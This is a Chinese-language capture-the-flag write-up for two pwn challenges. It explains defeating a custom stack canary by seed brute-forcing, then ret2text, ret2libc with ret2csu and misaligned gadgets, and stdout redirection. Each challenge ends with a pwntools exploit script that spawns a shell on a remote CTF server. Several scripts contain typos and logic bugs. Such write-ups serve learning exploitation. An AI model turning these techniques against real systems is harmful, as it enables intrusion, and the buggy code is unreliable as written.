Canary

复盘/ret2text/canary/伪随机数

题目源码如下

1
2
3
4
5
6
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_401296();
sub_4013C7();
return 0LL;
}

两个函数分别如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void sub_401296()
{
int v0; // eax
int fd; // [rsp+Ch] [rbp-4h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
printf("can't open /dev/urandom");
exit(-1);
}
read(fd, &qword_4040D0, 8uLL);
close(fd);
v0 = time(0LL);
srand((v0 ^ qword_4040D0) & 0xFFFFFF);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

__int64 sub_4013C7()
{
__int64 result; // rax
char buf[88]; // [rsp+0h] [rbp-70h] BYREF
__int64 v2; // [rsp+58h] [rbp-18h]
int v3; // [rsp+68h] [rbp-8h]
int v4; // [rsp+6Ch] [rbp-4h]

v4 = 0;
qword_4040D0 = (__int64)rand() << 32;
qword_4040D0 += rand();
v2 = qword_4040D0;
puts("I have a secret. Can you find it?");
while ( !v4 )
{
sub_40135C();
v3 = sub_401397();
switch ( v3 )
{
case 2:
if ( qword_404088 )
{
printf("My secret is %016lx\n", qword_4040D0);
qword_4040D0 = (__int64)rand() << 32;
qword_4040D0 += rand();
v2 = qword_4040D0;
puts("But now, I have a new Secret.");
--qword_404088;
}
else
{
puts("Just one time!");
}
break;
case 3:
v4 = 1;
break;
case 1:
puts("Show me the code:");
read(0, buf, 0x100uLL);
break;
}
}
result = qword_4040D0;
if ( v2 != qword_4040D0 )
{
printf("Hey, What are you doing?");
exit(0);
}
return result;
}

checksec发现并没有开启canary保护,看源码原来是自定义的随机字符串放在栈溢出的边缘模拟了canary机制,在sub_4013C7()函数返回前检查这个随机的字符串是否被修改。自然而然想到了泄露随机seed或是canary或者爆破canary。但是此题的seed无法直接泄露,但是可以爆破,笔者这里采取了不那么麻烦的做法。
canary在选项2直接给出,给出后马上实时更新了canary。既然实时更新,说明在更新前我们对canary的覆盖并不会造成影响,只需要溢出完成后更新一次就好了。即通过选项1来写ret2text,然后选项2更新canary,再通过选项3退出循环触发返回到system(“/bin/sh”);。需要注意的是,控制循环的变量也储存在栈上,需要注意覆盖为0确保写完ret2text后循环继续以便于更新canary。
至于爆破canary,我们先通过选项2泄露出canary,然后canary更新,这时我们有上一个canary,也就是这个随机序列的前两个随机数(题目用两个32位随机数移位合成一个64位canary)。那么我们便可以不断地从0到0xffffff尝试seed,然后用两个随机数合成一个64位值,若这个值和此前泄露的canary相等,说明我们找到了seed,这时更新的canary我们也就知道了。
wp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import*
context.os='linux'
context.arch='amd64'
context.log_level='debug'

r=remote('47.105.113.86',30001)
e=ELF('./ywb_Canary')
def send(content):
r.recvuntil(b'Input your choice\n')
r.sendline(str(1))
r.recvuntil(b'Show me the code:\n')
r.send(content)
sys_add=0x401581
ret=0x40101a
payload1=b'a'*(0x58+0x14)+p32(0)+p64(0xdeadbeef)+p64(sys_add)
payload1=payload1.ljust(0x100,b'\x00')
send(payload1)
r.recvuntil(b'Input your choice\n')
r.sendline(str(2))
r.recvuntil(b'Input your choice\n')
r.sendline(str(3))
r.interactive()

爆破做法的wp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import*
from ctypes import*
context.os='linux'
context.arch='amd64'
context.log_level='debug'

r=remote('47.105.113.86',30001)
e=ELF('./ywb_Canary')
cfun=cdll.LoadLibrary('./libc.so.6')
def send(content):
r.recvuntil(b'Input your choice\n')
r.sendline(str(1))
r.recvuntil(b'Show me the code:\n')
r.send(content)
sys_add=0x401581
ret=0x40101a
r.recvuntil(b'Input your choice\n')
r.sendline(str(2))
r.recvuntil(b'My secret is ')
target=r.recvline()
canary=0
for i in range(0xffffff):
cfun.srand(i)
temp=cfun.rand() << 32
temp+=cfun.rand()
temp="%016x" % temp #将temp转为16字节长度的16进制字符串,因为泄露的canary也是这个格式
if temp==target :
canary=cfun.rand() << 32
canary+=c.fun.rand()
break
payload=b'a'*0x58+p64(canary)+b'a'*0x6+p32(0)+p64(0xdeadbeef)+p64(sys_add)
payload=payload.ljust(0x100,b'\x00')
send(payload)
r.recvuntil(b'Input your choice\n')
r.sendline(str(3))
r.interactive()

ez_pwn

复盘/ret2libc/重定向/ret2csu

题目源码如下

1
2
3
4
5
6
7
8
int __fastcall main(int argc, const char **argv, const char **envp)
{
init();
write(1, "Close your eye, and you are blind now.", 0x26uLL);
close(1);
vuln();
return 0;
}

vuln函数

1
2
3
4
5
ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
return read(0, buf, 0x200uLL);
}

明显的栈溢出但是禁用了标准输出,但是2没有禁用(标准错误输出),我们可以调用write函数传2为第一个参数(文件描述符2表示标准错误输出)来泄露libc
然后write函数有三个参数,第三个参数rdx的控制片段较难寻找。此题中rdx因为此前程序自身调用了read函数读入0x200,我们知道rdx已经是0x200,可以直接使用
尽管如此我们还是分析一下一种控制rdx,同时也能控制rdi和rsi的方法,称为ret2csu
一般程序中都存在__libc_csu_init这个函数。在这个函数中,有如下片段(以此题为例):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:00000000004012A0                 mov     rdx, r14
.text:00000000004012A3 mov rsi, r13
.text:00000000004012A6 mov edi, r12d
.text:00000000004012A9 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:00000000004012AD add rbx, 1
.text:00000000004012B1 cmp rbp, rbx
.text:00000000004012B4 jnz short loc_4012A0
```gadget2
.text:00000000004012BA pop rbx
.text:00000000004012BB pop rbp
.text:00000000004012BC pop r12
.text:00000000004012BE pop r13
.text:00000000004012C0 pop r14
.text:00000000004012C2 pop r15
.text:00000000004012C4 retn

我们分析一下这两个片段就可以知道,通过gadget2中可传值的r14,r13,r12以及gadget1的前三条指令可以间接控制rdx,rsi,edi

在gadget2中,我们call了 [r15+rbx8] ,将rbx置为0即 [r15+rbx8] == [r15],方便我们用r15控制调用的函数。
后续add rbx, 1; cmp rbx, rbp; jnz xxxxxx。我们已经令rbx=0,从而使r15+rbx*8=r15,所以add rbx,1后rbx=1,若此时rbp != 1,jnz触发可能会产生错误,为了避免不必要的麻烦,我们令rbp也为1(gadget2可以控制rbp)。最后我们把目标函数地址传入r15,也就成功劫持了程序执行流。
除了这种通用的方法以外,还有一个巧妙的方法,gadget2中其实隐藏了两个简单的gadget
pop r15;ret的机器码转为16进制为(0x41 0x5F 0xC3),而pop rdi;ret的机器码为(0x5F 0xC3),后两个字节一模一样,说明pop r15;ret指令可以通过控制指令开始的地址变为pop rdi;ret。以此题为例子,pop r15的地址是0x4012C2,那么pop rdi的地址是pop r15的地址加一,即0x4012C3
同理我们看pop r14的机器码为(0x41 0x5E),而pop rsi的机器码正好为0x5E,以此题为例,pop r14的地址(0x4012C0)加一就是pop rsi指令的地址,也就是0x4012C1。
这两个隐藏gadget如何使用呢?以此题为例子,只需要布置rop链,ret到0x4012C1,也就是pop rsi,然后加上两个数据,分别pop进rsi和r15,然后ret到0x4012C3,也就是pop rdi,再加上要传入rdi的数据,再ret到目标函数即可。

话说回来,继续分析这个题目,在用write函数泄露libc并getshell后,标准输入还是禁用状态,我们需要输入指令exec 1>&0,将标准输出重定向到标准输入,在执行这个命令后,进程的标准输出将不再向终端屏幕上显示,而是会将输出结果发送到标准输入。这意味着,后续的输出会被作为输入来处理。相当于重启了标准输出。还可以通过调用dup2函数来重定向(搬运的解释,以后学IO_FILE再看看)

wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn importi*
context.os='linux'
context.arch='amd64'
context.log_level='debug'

#r=process('./ywb_pwn')
r=remote('47.105.113.86',30003)
e=ELF('./ywb_pwn')
libc=ELF('./libc-2.31.so')
write_plt=e.plt['write']
write_got=e.got['write']
main_add=0x401207
pop_rdi=0x4012c3
pop_rsi_r15=0x4012c1
ret=0x40101a
payload=b'a'*40+p64(pop_rdi)+p64(2)+p64(pop_rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(main_add)
r.recvuntil(b'Close your eye, and you are blind now.')
sleep(0.1)
r.send(payload.ljust(0x200,b'\x00'))
write_leak_add=u64(r.recv(b'\x7f')[-6:].ljust(0x8,b'\x00'))
log.success(hex(write_leak_add))
libcbase=write_leak_add-libc.sym['write']
sys_add=libcbase+libc.sym['system']
bin_add=libcbase+next(libc.search(b"/bin/sh"))
payload=b'a'*(32+8)+p64(pop_rdi)+p64(bin_add)+p64(ret)+p64(sys_add)
sleep(0.1)
r.send(payload.ljust(0x200,b'\x00'))
r.interactive()